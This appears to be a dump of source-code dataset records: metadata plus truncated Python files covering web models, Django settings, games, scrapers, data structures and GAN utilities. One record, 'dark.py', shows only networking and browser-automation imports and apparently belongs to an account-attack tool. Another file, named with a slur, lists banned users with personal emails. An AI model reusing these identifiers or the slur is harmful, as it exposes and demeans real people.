da68560df66b05b146de3208eeed115feb504aef
[]
no_license
natsuooo/fujitsu
d981946c66bca5be1e6cac89393f61cab6355cf2
866f0218776642842a769afb0ccafe9c7b5e32a2
refs/heads/master
2023-03-17T14:55:17.511679
2021-02-22T01:27:10
2021-02-22T01:27:10
338,940,854
0
0
null
null
null
null
UTF-8
Python
false
false
966
py
from sqlalchemy import Column, Integer, String, Text, DateTime from datetime import datetime from models.database import Base class BlogContent(Base): __tablename__ = "blogcontent" id = Column(Integer,primary_key=True) title = Column(String(128),unique=True) body = Column(Text) date = Column(DateTi...
[ "n17975775@gmail.com" ]
n17975775@gmail.com
54c71ab19988dc61b1d5006d7e3fb63925a63436
2ff2d654688cf8687c0806135057c747763f9cbc
/.github/workflows/dark.py
ac99b00dce47474159cbc869011802a04be1b760
[]
no_license
darshankhakhodiya143/dark1
61f27a14c2afe9cf3e22c39339ffcdf11a408796
924859631a950ca86ae786a5f5c3c4954b6a5117
refs/heads/master
2022-10-11T15:44:50.662945
2020-06-12T09:29:34
2020-06-12T09:29:34
271,526,990
0
0
null
null
null
null
UTF-8
Python
false
false
20,817
py
#!/usr/bin/python2 #coding=utf-8 import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,requests,mechanize from multiprocessing.pool import ThreadPool from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browse...
[ "noreply@github.com" ]
darshankhakhodiya143.noreply@github.com
57c4abb61863b4e306c8d7e7968366cef774dbdd
9b2b3ce5a94e5559c49991f4b3e7112a3ea39ebc
/schoolcms/wsgi.py
a42cdd7ea70c3f0be8f22a615842e8fe5ea81098
[]
no_license
suryakumar1024/schoolcms
7394d7c1587c5559b22906db96ff55f7969391a2
b377ff5b80b4d6b6641d3ccfb040459712e2facf
refs/heads/master
2021-05-03T14:53:16.850483
2019-03-04T11:28:15
2019-03-04T11:28:15
69,850,013
0
0
null
null
null
null
UTF-8
Python
false
false
395
py
""" WSGI config for schoolcms project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SET...
[ "suryak22@outlook.com" ]
suryak22@outlook.com
c2b8a7ff84cbf75a213e37f6530789404d4e359d
7905c69a89842486eaebe97911b020d49567e3c1
/test/test_idecanarias_dockwidget.py
a929e5f6b22118268884e842d41d16c33c9476f4
[]
no_license
fherdom/IDECanarias3
662e0eb0f0850e7d2c670e41c1c5caa864425bc3
7f3e5b6a8a61d343f428fa9f054a5cf03437bdef
refs/heads/master
2021-04-26T22:13:32.061017
2020-02-06T13:59:07
2020-02-06T13:59:07
124,045,933
0
0
null
null
null
null
UTF-8
Python
false
false
1,134
py
# coding=utf-8 """DockWidget test. .. note:: This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. """ __author__ = ...
[ "felix@Felix.grafcan.tfe" ]
felix@Felix.grafcan.tfe
584dc20b3ad651e22fc34eba3c0edc1f48eef89e
e6f3c3d67183497c044b6ae2cfc389a56d65a9ff
/extra/pygame/8-python-pygame-exercise-files/Game/Scenes/HighscoreScene.py
1a845dd4bb4b5e7d70ace251b3bc8e5089f17d0f
[]
no_license
univdig/python-training
e9e2da35c77a49af4c0bf9153b70029d5a7ca31b
72e00806ab3c05f64a97c1eb6fc42026bbf33ebe
refs/heads/master
2021-01-16T22:17:00.621488
2016-03-10T21:03:34
2016-03-10T21:03:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,219
py
import pygame from Game.Scenes.Scene import Scene from Game import Highscore from Game.Shared import * class HighscoreScene(Scene): def __init__(self, game): super(HighscoreScene, self).__init__(game) self.__highscoreSprite = pygame.image.load(GameConstants.SPRITE_HIGHSCORE) def rend...
[ "gabriel.briones.sayeg@intel.com" ]
gabriel.briones.sayeg@intel.com
e7b57f0e9b8501259408dbc1c7b7851fa4e565a3
6013064c1220fea2d1e40faa9a17e5df10640a0b
/scrapers/lider/simple/extractors.py
6b94a296fc8b7376faf1de45101fd399859bb817
[]
no_license
4chirinos/scraper
e5ece303378e35bfa86f831ebd48e6d1b04eb320
a7eb3988a28bf8d91ce74a51e50956b0b5ce3e34
refs/heads/master
2020-05-20T19:33:57.389107
2020-04-07T16:07:14
2020-04-07T16:07:14
185,725,230
0
0
null
null
null
null
UTF-8
Python
false
false
678
py
from .models import ProductInformation def extract_products(data): return data['hits'] def extract_product_information(product): if is_product_active(product): name = product['name'] sku = product['sku'] measure = product['uom'] price = get_price(product) return ProductInformation(name, sku, p...
[ "Argenis_Chirinos@gap.com" ]
Argenis_Chirinos@gap.com
d32d2d0ba843d841278be8b3f5679efdb92e44f7
3961f9f14a2e3ae9806176290a89a1c679612373
/docs/report/fa20-523-349/project/RankNet/indycar/simulator.py
e1cb108341de6cbf64fdcefd2585934d1d0490fc
[ "Apache-2.0" ]
permissive
mikahla1/cybertraining-dsc.github.io
c97026096dd36d3fa129c8068b9c1b35ae1617a3
168cadb2f755cb6ad4907e5656bd879d57e01e43
refs/heads/main
2023-06-10T18:11:53.925182
2021-06-30T18:41:43
2021-06-30T18:41:43
382,053,310
0
0
Apache-2.0
2021-07-01T14:05:43
2021-07-01T14:05:42
null
UTF-8
Python
false
false
1,765
py
#!/usr/bin/python # -*- coding: utf-8 -*- """ IndyCar Simulator laptime = ForcastedTime + FuelAdj + Random pitstop : pit window, 10 laps in lap penalty pit time out lap penalty """ import sys,os,re import datetime import random import numpy as np import logging from optparse import OptionParser ...
[ "laszewski@gmail.com" ]
laszewski@gmail.com
f7cc021e0089997b48a7c793ecc398ccb729e89d
a7ec33c7defd493f2bb6e7dbbbb338ce47fbfd8c
/tree_and_tree_algorithms/minimum_binary_heap.py
635daec29c0bdf0a60c9dd94268a380ae1af44c8
[ "MIT" ]
permissive
arvinsim/data-structures-and-algorithms-implementation
85871647c87e0d0dad3910ebff28d73321708774
5f15d48243e08bf20099a0c7e807278ed24ce269
refs/heads/master
2021-01-23T06:49:51.753007
2017-03-30T01:27:26
2017-03-30T01:27:26
86,403,339
0
0
null
null
null
null
UTF-8
Python
false
false
3,164
py
class BinaryHeap: """ BinaryHeap() creates a new, empty, binary heap. This is the minimum heap version """ def __init__(self): self.heapList = [] self.currentSize = 0 def get_left_child_index(self, parent_index): return (parent_index * 2) + 1 def get_right_child_ind...
[ "developarvin@gmail.com" ]
developarvin@gmail.com
e275b3cff26f83c7f3121b0cd98bec47ae460836
aa508e822a84fde8ee8ce2a6342a2e5da946cb43
/src/view/finder/lookup.py
6abad178573092a73646919897cad1189abe8ec4
[ "Apache-2.0" ]
permissive
gustavosaquetta/FrameworkSSQt-Vocatus
a4ea093f05aa4d503ca86603312198aa869675ec
485dc401e05859f68fe198aa2106675839585a13
refs/heads/master
2020-04-14T19:01:07.349185
2019-01-04T01:31:23
2019-01-04T01:31:23
164,041,565
0
0
null
null
null
null
UTF-8
Python
false
false
946
py
import platform, sys, os sys.path.append(os.getcwd()) from PyQt5 import uic from PyQt5.QtWidgets import * from PyQt5 import * from PyQt5.QtCore import * from PyQt5.QtGui import * from sources.dialog.finddialog import DialogFindCliente def lookup_cliente(parent): LC = LookupCliente(parent) LC.exec_() class Look...
[ "gustavosaquetta@gmail.com" ]
gustavosaquetta@gmail.com
4848f0665aac256b274f1b523e25452b01fe47cd
747e83c2624fd9bcd8a44b293c54d10672965fcd
/venv/bin/f2py
77d06710d00d5aae0389fff94fbd588f27919504
[]
no_license
al11588/MLTut
430b2b40aeddf616b3bc860a7b65189c1339d2f4
e1b320178b33b6192f7542f305b544047062f1cf
refs/heads/master
2016-09-14T08:21:13.815887
2016-05-03T16:21:02
2016-05-03T16:21:02
57,983,457
0
0
null
null
null
null
UTF-8
Python
false
false
790
#!/Users/alvinlawson/Desktop/MLTut/venv/bin/python # See http://cens.ioc.ee/projects/f2py2e/ from __future__ import division, print_function import os import sys for mode in ["g3-numpy", "2e-numeric", "2e-numarray", "2e-numpy"]: try: i = sys.argv.index("--" + mode) del sys.argv[i] break ...
[ "al11588@gmail.com" ]
al11588@gmail.com
f6a8c9e639d06784cd89ac6597e1506e0d2a561a
869f3cc7c4b5c0c0b138c76cf457ebc5f7a35525
/tests/v1/test_redflag_view.py
40535fe7e06bda81f7f7c7400950171c925cc5fc
[ "MIT" ]
permissive
Curti-s/ireporter-api
dc3c1dea0373243c0035e8d5200c0a33bc106ab5
57b225508f58fd33c848bc480a6dd5b7a5ea5790
refs/heads/develop
2022-12-10T11:24:10.653374
2018-12-08T15:42:01
2018-12-08T15:42:01
158,517,000
2
0
null
2022-12-08T01:27:49
2018-11-21T08:41:03
Python
UTF-8
Python
false
false
2,609
py
import unittest import datetime import uuid from flask import request, json from rapidjson import dump, dumps, loads, load, DM_ISO8601, UM_CANONICAL from app import create_app from app.v1.models.red_flag_model import RedFlagModel class TestRedFlagView(unittest.TestCase): """Test RedFlagView api""" def setUp...
[ "matthewscurtis81@gmail.com" ]
matthewscurtis81@gmail.com
48e7fc8b558dd07f858cd8b423266154dce93c74
12ed734433de51f1cf7b9d8900f4b831e996a80f
/script/execute.py
e449dd5d841f86445d703f61803d960627f903e4
[]
no_license
TimoBergerbusch/DeepLearningFuerAutonomesFahren
7c884d52149ffab9690d3a5d575453ef6d437181
04c2161b8833964ee00ad50fa751b92c4dc58ca2
refs/heads/master
2020-03-13T14:47:00.745716
2018-07-03T18:18:21
2018-07-03T18:18:21
131,165,253
0
0
null
null
null
null
UTF-8
Python
false
false
2,740
py
import mxnet as mx path='http://data.mxnet.io/models/imagenet/' [mx.test_utils.download(path+'resnet/50-layers/resnet-50-0000.params'), mx.test_utils.download(path+'resnet/50-layers/resnet-50-symbol.json'), mx.test_utils.download(path+'synset.txt')] ctx = mx.cpu() sym, arg_params, aux_params = mx.model.load_checkpo...
[ "timo-bergerbusch@web.de" ]
timo-bergerbusch@web.de
d77213cb938364654b4537ff2566cb0d30598b49
12bbad5d5f81f0c9b11fc9db3dee69b901f44469
/api/migrations/0006_auto_20201022_0439.py
9184a6a2dc892b48f822049a0a024cb18eda13e1
[]
no_license
youflox/news
d5e0432e57093d6f4c49015d361ffe01cbd1c48e
e0e829727ac046f36fdeaf9335002c1c2c83684d
refs/heads/master
2023-01-08T21:07:11.295421
2020-11-06T07:47:57
2020-11-06T07:47:57
309,968,222
0
0
null
null
null
null
UTF-8
Python
false
false
383
py
# Generated by Django 3.1.2 on 2020-10-21 23:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('api', '0005_article_image'), ] operations = [ migrations.AlterField( model_name='article', name='image', ...
[ "youflox@gmail.com" ]
youflox@gmail.com
8fca3250922d478ef9165789a3684f85de825780
56419dc6dc955a0c87fe13d95f318b7819217317
/d3rlpy/algos/torch/cql_impl.py
6dadeb6912841b35aa1de0c3bec784c1b4f66a48
[ "MIT" ]
permissive
Mobius1D/d3rlpy
85f67f8380dd11836b61dceadc550fa8083341cc
f279245e3c8dcd89bd8c8abafcfdf1dff50b7fce
refs/heads/master
2023-06-19T11:36:06.518270
2021-07-09T20:53:40
2021-07-09T20:53:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,912
py
import math from typing import Optional, Sequence import numpy as np import torch import torch.nn.functional as F from torch.optim import Optimizer from ...gpu import Device from ...models.builders import create_parameter from ...models.encoders import EncoderFactory from ...models.optimizers import OptimizerFactory ...
[ "takuma.seno@gmail.com" ]
takuma.seno@gmail.com
49c911a5de0008425794db6a96232f235ca75f7d
9fdb325cf3fd1c469e5cad853ad8bf1a604b44c7
/netlabproject/wsgi.py
5aab4c221593ea4bcdd402cc3fe39b9019c113bd
[]
no_license
abkristanto/photatoes-django
3290e5a4c246eab19187fcc51899e0bee727beed
b40a20c37e4141a8fd5503c94b9d243ace545369
refs/heads/master
2023-04-03T14:44:18.499511
2021-04-10T16:14:24
2021-04-10T16:14:24
356,628,839
0
0
null
null
null
null
UTF-8
Python
false
false
403
py
""" WSGI config for netlabproject project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO...
[ "abkristanto@gmail.com" ]
abkristanto@gmail.com
fac7ca009bd5cd773c1943f1dfee737a0cbdee65
4ca0b9d8beec6d4ac2ac64b53429b298b7819311
/mdp_congestion_game_col_avoidance.py
a083cd73744f554f44cc46c759394260d759a62d
[]
no_license
lisarah/mdp
36097040f7b6d80d9eddb044c644cd0d6ab005e0
fc6915aad79e6f9525d485c6fe00bf0d98ca8f53
refs/heads/master
2022-06-09T15:46:48.335282
2022-06-02T02:56:30
2022-06-02T02:56:30
207,250,240
1
0
null
null
null
null
UTF-8
Python
false
false
6,782
py
# -*- coding: utf-8 -*- """ Created on Tue Mar 2 17:22:30 2021 @author: Sarah Li """ import numpy as np import visualization as vs import util as ut import matplotlib.pyplot as plt import dynamicProg as dp import random np.random.seed(121) Columns = 10 Rows = 5 A = 4 T = 100 P = ut.nonErgodicMDP(Rows, Columns, p=0....
[ "crab.apples00@gmail.com" ]
crab.apples00@gmail.com
e5e0604d2d3fa39230cbda76d99c4414a162dd4e
252bc6452fea2cd61f86f23542001b51b90541a8
/fsm.py
d1d38936e290adb611d8ec256f83aa39abd34cb7
[]
no_license
baronrustamov/Toc-project-telegram-chatbot-with-api.ai
656853e30c1180cf30201b86882816721d2853e7
9ea7dae87bf4902f17cb7e48b623bcf38345c906
refs/heads/master
2023-05-28T06:46:55.535456
2017-06-14T13:59:31
2017-06-14T13:59:31
345,258,432
0
0
null
2023-05-01T19:53:42
2021-03-07T04:31:33
null
UTF-8
Python
false
false
4,368
py
from transitions.extensions import GraphMachine class TocMachine(GraphMachine): def __init__(self, **machine_configs): self.machine = GraphMachine( model = self, **machine_configs ) def is_going_to_state1(self, update): text = update.message.text ##print...
[ "cloudstrife60138@gmail.com" ]
cloudstrife60138@gmail.com
ea1421d3eef4bc9eefc004968959b201b28dc4d2
c927b1b9adc0670c3111cd8e4f1285ffd4e54cef
/python/seldon_deploy_sdk/api/batch_jobs_api.py
70fa4a370ec85fa13f3d48a4bd6215262c1b51b8
[ "Apache-2.0" ]
permissive
FarrandTom/seldon-deploy-client
79d92224a69ef9241b73154e20aaa38b9e049cf4
bfc0dd958743f395b8b781b2e8216cc5f8f9e749
refs/heads/master
2023-01-20T00:24:15.768347
2020-11-26T09:34:05
2020-11-26T09:34:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,340
py
# coding: utf-8 """ Seldon Deploy API API to interact and manage the lifecycle of your machine learning models deployed through Seldon Deploy. # noqa: E501 OpenAPI spec version: v1alpha1 Contact: hello@seldon.io Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future...
[ "agm@seldon.io" ]
agm@seldon.io
4c12d6c896c4460ce3cf13fc5e489758157c9092
4904acd900496b4883c2f5b4aa6b45d1ef6654c0
/graphgallery/nn/layers/tensorflow/__init__.py
27608f8342dd120c8fa2199d9a62271dd3402705
[ "MIT" ]
permissive
blindSpoter01/GraphGallery
aee039edd759be9272d123463b0ad73a57e561c7
e41caeb32a07da95364f15b85cad527a67763255
refs/heads/master
2023-06-17T11:42:27.169751
2021-07-15T03:07:39
2021-07-15T03:07:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
152
py
from .conv import * from .top_k import Top_k_features from .dropout import * from .misc import SparseConversion, Scale, Sample, Gather, Laplacian, Mask
[ "cnljt@outlook.com" ]
cnljt@outlook.com
0b3c762d62a61ea50b5248ea260cc0b2539f9c05
1049843fc2931f8c0d997be409a0bdaab0610c3c
/shop/contrib/stock/models.py
e3ae13f28c6ce0036fdb8a944a6050abb2e97dfe
[]
no_license
Optixdesigns/django-shop
212b0a8a7c561dfadf8d306d0141588316d94f2d
a58028a3fe638c8c6ba3b37e139290657ffc0d13
refs/heads/master
2020-04-06T05:47:54.101765
2012-10-31T14:44:07
2012-10-31T14:44:07
4,168,793
0
1
null
null
null
null
UTF-8
Python
false
false
589
py
# -*- coding: utf-8 -*- from django.db import models from django.utils.translation import ugettext_lazy as _ class VariantStockLevelMixin(models.Model): """ Mixin for configurable Variant models """ sku = models.CharField(_('SKU'), max_length=128, db_index=True, unique=True, help_text=...
[ "sjoerd@optixdesigns.com" ]
sjoerd@optixdesigns.com
3605eda012bbbdc82374e58cba08581a97dc808f
6d59b155bcf3a61ff677d8ca103215af20ba40cd
/python/05/05Animal_Class.py
5c17da84c29d38fbfc3acd81ba08db49037633a7
[]
no_license
lilgaage/lilgaage_scripts
1c82ba869e637a5971215b2eb084f3b2e9a4b954
9108f821c634ffae05423083b9330281f3ae5a57
refs/heads/main
2023-08-20T13:01:48.670270
2021-10-21T09:16:15
2021-10-21T09:16:15
419,627,782
0
0
null
null
null
null
UTF-8
Python
false
false
2,009
py
class Animal: def __init__(self,name,age,gender,weight): #非私有属性 self.name = name self.age = age self.gender = gender #私有属性 不能被继承,也不能在类的外部被调用 self.__weight = weight #私有方法 不能被继承,也不能在类的外部被调用 def __eat(self,food): print("{}不爱吃肉,爱吃{}".format(self....
[ "noreply@github.com" ]
lilgaage.noreply@github.com
87589d298b01d75146ed1956e271d9ba5e9f5e0c
040c49dd116ad6ff69a61a60c9fc2dc3d17da6d0
/pdtry.py
c4d32dd9979ac9ebfeca0f12ae13657b280e1b42
[]
no_license
raulsanika015/python
0dba12d62a32b7cbcd1c50c018a6ab4f56cf9472
cf2e73192e180efe3357cbc5477b9abe1469f818
refs/heads/master
2020-08-13T10:43:57.942184
2019-10-14T13:38:45
2019-10-14T13:38:45
214,956,298
0
0
null
null
null
null
UTF-8
Python
false
false
970
py
''' import pandas as pd # reading csv file from url data = pd.read_csv("book1.csv") # creating short data of 5 rows d = data.head() # creating list with 5 values list =[1000,2000,3000,4000,5000] # adding list data # creating new column d["Added values"]= d["SALARY"].add(list) # display ...
[ "noreply@github.com" ]
raulsanika015.noreply@github.com
a56f9ca0f4e70237db43a581038292f080b3a26d
41d020c1155337889b2a55d03dd842dabee4118a
/sls/completion/complete.py
a028fecd5f409d68d2e210fbd04f7d932c120579
[ "Apache-2.0" ]
permissive
wilzbach/storyscript-sls
417aeeb51d5e1f5a19d9401e2a7196104a7c723a
d71d74a53852ebae54bdaab341678b04f2775411
refs/heads/master
2020-04-30T12:46:08.848392
2020-01-28T14:19:20
2020-01-28T14:19:20
176,835,051
0
0
null
null
null
null
UTF-8
Python
false
false
1,902
py
from sls.logging import logger import sls.sentry as sentry from .ast import ASTAnalyzer from .cache import ContextCache from .context import CompletionContext log = logger(__name__) class Completion: """ Builds a completion list """ def __init__(self, context_cache, plugins): self.context_...
[ "seb@wilzba.ch" ]
seb@wilzba.ch
3da4401d31604b9dbd226ce90a6be1b1f2237f26
2da0be64bb7a608b984b5ef6022f29821662078b
/additional/compare_numpy_fftw.py
bac377db1b367a8571d5a55341fc0c70044c4d0c
[]
no_license
ahelm/fftw-examples
08766a34ff1a9b2f651595285abae13859e0e9e5
42243147adf5db0d9868f06aacd6a36807b0e541
refs/heads/master
2020-03-31T13:48:44.478366
2018-10-23T18:16:12
2018-10-23T18:16:12
152,269,933
0
0
null
null
null
null
UTF-8
Python
false
false
757
py
# run first FFTW_simple - to store the data import numpy as np import matplotlib.pyplot as plt in_arr = np.fromfile("fftw_simple_in.raw", dtype=np.double) in_arr = np.reshape(in_arr, (512, 2)) np_in = in_arr[:, 0] + 1.0j * in_arr[:, 1] plt.figure() plt.title("input arr") plt.plot(in_arr[:, 0], "o", mfc="none") plt.p...
[ "anton.helm@tecnico.ulisboa.pt" ]
anton.helm@tecnico.ulisboa.pt
11ce75d4bd2254ce4e7db74f5a9d3ba44e7599a7
8a96bfce1186a3464aa84e46febd9a8d6d94207b
/utils.py
ffd381a762cc7f91208b7115a9fbe2ec1d83e8bf
[]
no_license
Nishan-Vivek/BCIT-COMP8505-Final-Covert-Communication-App
70983336ec8dc2acf0d4618a05b6f901ac071003
d9acafba9df0cc28cbb662fa2d203e295589782b
refs/heads/master
2022-03-27T08:38:28.091349
2020-01-13T01:35:21
2020-01-13T01:35:21
112,429,756
0
0
null
null
null
null
UTF-8
Python
false
false
1,498
py
from crypto import * from time import sleep from scapy.all import * from scapy.layers.inet import IP, UDP def send_file(file_path): print('Sending File...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ATTACKER_IP, FILE_TRANSFER_PORT)) file = open(file_path, 'rb') s.send(encry...
[ "adamharrison2012@gmail.com" ]
adamharrison2012@gmail.com
d7e40bfc0631bb952596d974e34621b6bd016d0d
4c6dd374b4b9ac6b6d8dae55399f754bdf2e5dd1
/scripts/motion_estimator.py
a3c38541a1e175c3a5458f1c42650fdd9f1d642e
[]
no_license
SubMishMar/golfcart_utilities
4f3bc92e795f5005a6b012e83f263da1bd84ad14
2f12a8211078dfaa90ba049c0f3c8846d52e0ef0
refs/heads/master
2020-04-05T10:17:46.071806
2019-01-14T19:10:18
2019-01-14T19:10:18
156,793,386
0
0
null
null
null
null
UTF-8
Python
false
false
776
py
#!/usr/bin/env python # license removed for brevity import rospy import math import numpy as np from nav_msgs.msg import Odometry class integrator: def __init__(self): self.odom_sub = rospy.Subscriber('/Odom', Odometry, self.odomCallback) self.predicted_x = 0 self.predicted_y = 0 self.predicted_z = 0 self....
[ "subodheenitr@gmail.com" ]
subodheenitr@gmail.com
df0e854af66e4b08013f10764efbf283604e605a
cf5f24e5a32f8cafe90d4253d727b1c0457da6a4
/algorithm/boj_2003.py
512b9e6a296d25c4afedb26eb17489dad3e85a78
[]
no_license
seoljeongwoo/learn
537659ca942875f6846646c2e21e1e9f2e5b811e
5b423e475c8f2bc47cb6dee09b8961d83ab08568
refs/heads/main
2023-05-04T18:07:27.592058
2021-05-05T17:32:50
2021-05-05T17:32:50
324,725,000
0
1
null
null
null
null
UTF-8
Python
false
false
374
py
import sys input = sys.stdin.readline n,m = map(int,input().split()) a = list(map(int,input().split())) left,right,s=0,0,0 ret = 0 while left < n and right <n : if s == m: ret += 1 if s <=m : s += a[right] right += 1 else: s -= a[left] left += 1 while left < n: if s == ...
[ "noreply@github.com" ]
seoljeongwoo.noreply@github.com
ac023013317edfede1cf982dffd58bc1ae0dd1b4
d806039aacec6aa3719f41989bf3322a319abdd8
/PGGAN/utils.py
c20dc647c48646e8571b6ef20705f1ea4dd18dcb
[ "MIT" ]
permissive
MingtaoGuo/DCGAN_WGAN_WGAN-GP_LSGAN_SNGAN_RSGAN_BEGAN_ACGAN_PGGAN_TensorFlow
7cbce46b78f6e254c729df351bc127740a060e84
af6a012a9e9ddff29195b12988f3e66091696ff0
refs/heads/master
2022-09-18T13:04:49.324624
2022-08-20T01:47:15
2022-08-20T01:47:15
139,560,429
173
39
null
null
null
null
UTF-8
Python
false
false
1,041
py
import scipy.io as sio import numpy as np def read_data(path): for i in range(1, 6): if i == 1: data_mat = sio.loadmat(path + "data_batch_" + str(i) + ".mat") data = np.transpose(np.reshape(data_mat["data"], [10000, 3, 32, 32]), [0, 2, 3, 1]) labels = data_ma...
[ "noreply@github.com" ]
MingtaoGuo.noreply@github.com
ef454ebddbb7786708aa91884bd25fe6756beed6
953bb4e6f2d72d714a895bbf3c50a7cbf64e6ab5
/accounts/migrations/0003_auto_20180604_2223.py
1c66e0e289befbb20448852a43768efe97039666
[]
no_license
yunielgarcia/Profile-Project
fbe12dba5bda0d027f2015c71a4c627c41af9537
42ccf3371b03b49d3f16e662f3fdcbf6db955532
refs/heads/master
2020-03-18T10:55:51.825028
2018-06-08T17:53:46
2018-06-08T17:53:46
134,641,008
0
0
null
null
null
null
UTF-8
Python
false
false
576
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.12 on 2018-06-04 22:23 from __future__ import unicode_literals import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0002_auto_20180525_2158'), ] operations ...
[ "garciayuni84@gmail.com" ]
garciayuni84@gmail.com
90868a593f6afc79c41a0c22489435edcc8682a9
95f9d23dc2d931c447752754d1fae0c979f43591
/python_exam/zhuaqu/zhuaqu.py
cd63e5d306bfadd15b8be82f09bcb7a996238f1d
[]
no_license
18801499823/first
a459067f8a00d88dcd484f93e2d6f2266ccd2b39
1a1beb2da75fa15fbcbc34f3ae405118ff4bceb3
refs/heads/master
2020-08-03T18:18:56.832889
2016-11-18T11:56:52
2016-11-18T11:56:52
73,539,600
0
0
null
null
null
null
UTF-8
Python
false
false
1,607
py
#!F:\Python27\python.exe # -*- coding: UTF-8 -*- print import urllib import urllib2 import re import MySQLdb print class News: #init def __init__(self): self.url = "http://news.baidu.com/" #convert div to '' def tranTags(self, x): pattern = re.compile('<div.*?</div>') res = re....
[ "you@example.com" ]
you@example.com
f648d9d8a853fc774588882252c25034dc6e3331
5b4cca08e9a9de82baf8021b5aaa39efe96f619b
/TensorFlow/read_data_fast.py
730d80b46d49a7d9bbf378afea47209b5f9dc33d
[]
no_license
pkq2006/DL_project
dcfa6854fc84ba37fe6640a85010f40f63bdbf5c
874faee5e42f2ebd94702c31f0732a5edf1542b0
refs/heads/master
2021-01-11T22:25:41.926588
2017-01-14T10:05:04
2017-01-14T10:05:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,015
py
import os import numpy as np import numpy import PIL.Image from sklearn import preprocessing import json import math from scipy.ndimage import filters global train_data, train_label, val_data, val_label, data_1, data_0 train_data, train_label, val_data, val_label, data_1, data_0 = [], [], [], [], [], [] ppp =...
[ "noreply@github.com" ]
pkq2006.noreply@github.com
378e52f260636b95fcd858a293904a9f16a67b9c
6663e28f46da2e0922030bacbd44db11b670de7b
/api_core/settings.py
6a535032f464eadbfc50ca395c3f77e0d38dc317
[]
no_license
LingzFY/mycode-rodin
e414746480dce703e450debfb1aaf1b9eb84b74d
a0e9b78f9c2e753cf5700642a1465e314467dd9a
refs/heads/main
2023-07-16T22:18:43.883445
2021-09-01T09:30:56
2021-09-01T09:30:56
402,000,059
0
0
null
null
null
null
UTF-8
Python
false
false
3,668
py
""" Django settings for api_core project. Generated by 'django-admin startproject' using Django 3.2.6. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathli...
[ "mmd.ri.it@gmail.com" ]
mmd.ri.it@gmail.com
9182b439f5699b1b77c86aa69612ae3e6b0f112e
6ebba9e904886dd3596d39e290851216fab62156
/Exercie_1.py
9427d10c780511c15c6705824e1c6ff7f54c7afc
[]
no_license
Haitam-Hansali/Les_Fractales
58072533f09ddde5491b30780280446483d8126d
e0cb5cffef17e0df86ef821c2a764bf528de4cb7
refs/heads/main
2023-01-28T16:05:40.234392
2020-11-28T14:21:00
2020-11-28T14:21:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,019
py
# -*- coding: utf-8 -*- """ Created on Sat Nov 28 14:27:40 2020 @author: Hansali haitam """ #EXERCICE_1: import matplotlib.pyplot as plt import random X =[0.5] Y =[0] for i in range(30000): r =random.uniform(0,1) if 0 <= r <= 0.1: Xf = 0.05* X[i] Yf = 0.6* Y[i] ...
[ "noreply@github.com" ]
Haitam-Hansali.noreply@github.com
1a4163ff58787277a95099da0f8fa828d14ab105
4cd3295b965849e8ba829c1c6a278043d669fe3c
/test/проверить ключ на забанненность/pidors.py
9c48c7705d016bf94255816189c3ca21b23c7701
[]
no_license
helljump/cm2
9b7cb68ad364f5e5a2ec96abe95e7926ddda4370
6bf6e669c4625cd71eda70f602426e931e12ccd4
refs/heads/master
2016-09-05T08:49:33.662783
2015-01-17T13:40:48
2015-01-17T13:40:48
29,391,628
0
0
null
null
null
null
UTF-8
Python
false
false
3,369
py
pidors = [ 'Admin-36EEA004231E4FD', 'tester-TESTER-PC', 'Z127474187545', 'Admin-5D60624B80B74DD', 'Osetr-OSETR-WORKPC', 'Admin-MICROSOF-D1F7B6', 'z318420669104', 'R378538586068', 'Z354179671638', 'dovbyshv@gmail.com', 'Admin-NAMAHATA', 'ADMIN-MEGA', 'user-ANATOLY', 'toomas-PLACEHOL-FVXEIE', 'Admin-MICROSOF-0FA2C5'...
[ "helljump@gmail.com" ]
helljump@gmail.com
75a0f0b8dfb71da6a23800c1e35e0baa5bc226fd
17b86db5397233f70ba9db376bd16aca9e72a751
/algos/segmentation/__init__.py
80831405e3f4096582d1beefcfd9033fd7a84f3a
[]
no_license
javieraltszyler/IATos
50595f97cfa7b58d5f44cce86e6022a1219d3fe9
b3d5409d53b357f755e2d6a30ee1126c9de27534
refs/heads/main
2023-07-27T12:57:33.051010
2021-09-06T23:59:01
2021-09-06T23:59:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
63
py
from .entrypoint import find_caugh_segments, SegmentationParams
[ "dtrejopizzo@gmail.com" ]
dtrejopizzo@gmail.com
ba234cf0c4b8f005e5bff6a3b7e6f08306842a0a
389acfd2f2f6f4869ad969f7820931f1077cd903
/bcdoc/compat.py
ee6d7c910b75b94246c2aa8df1621434c95e2828
[ "Apache-2.0" ]
permissive
boto/bcdoc
567dcf892004022fffb0e307550676eb8727b7f5
eb14c2a4ecde75fae60ec0cb7d4147929a14d007
refs/heads/develop
2023-09-03T23:59:58.507910
2015-06-17T19:23:20
2015-06-17T19:23:20
9,522,814
5
7
NOASSERTION
2020-01-16T19:02:54
2013-04-18T13:55:05
Python
UTF-8
Python
false
false
723
py
# Copyright 2012-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" fil...
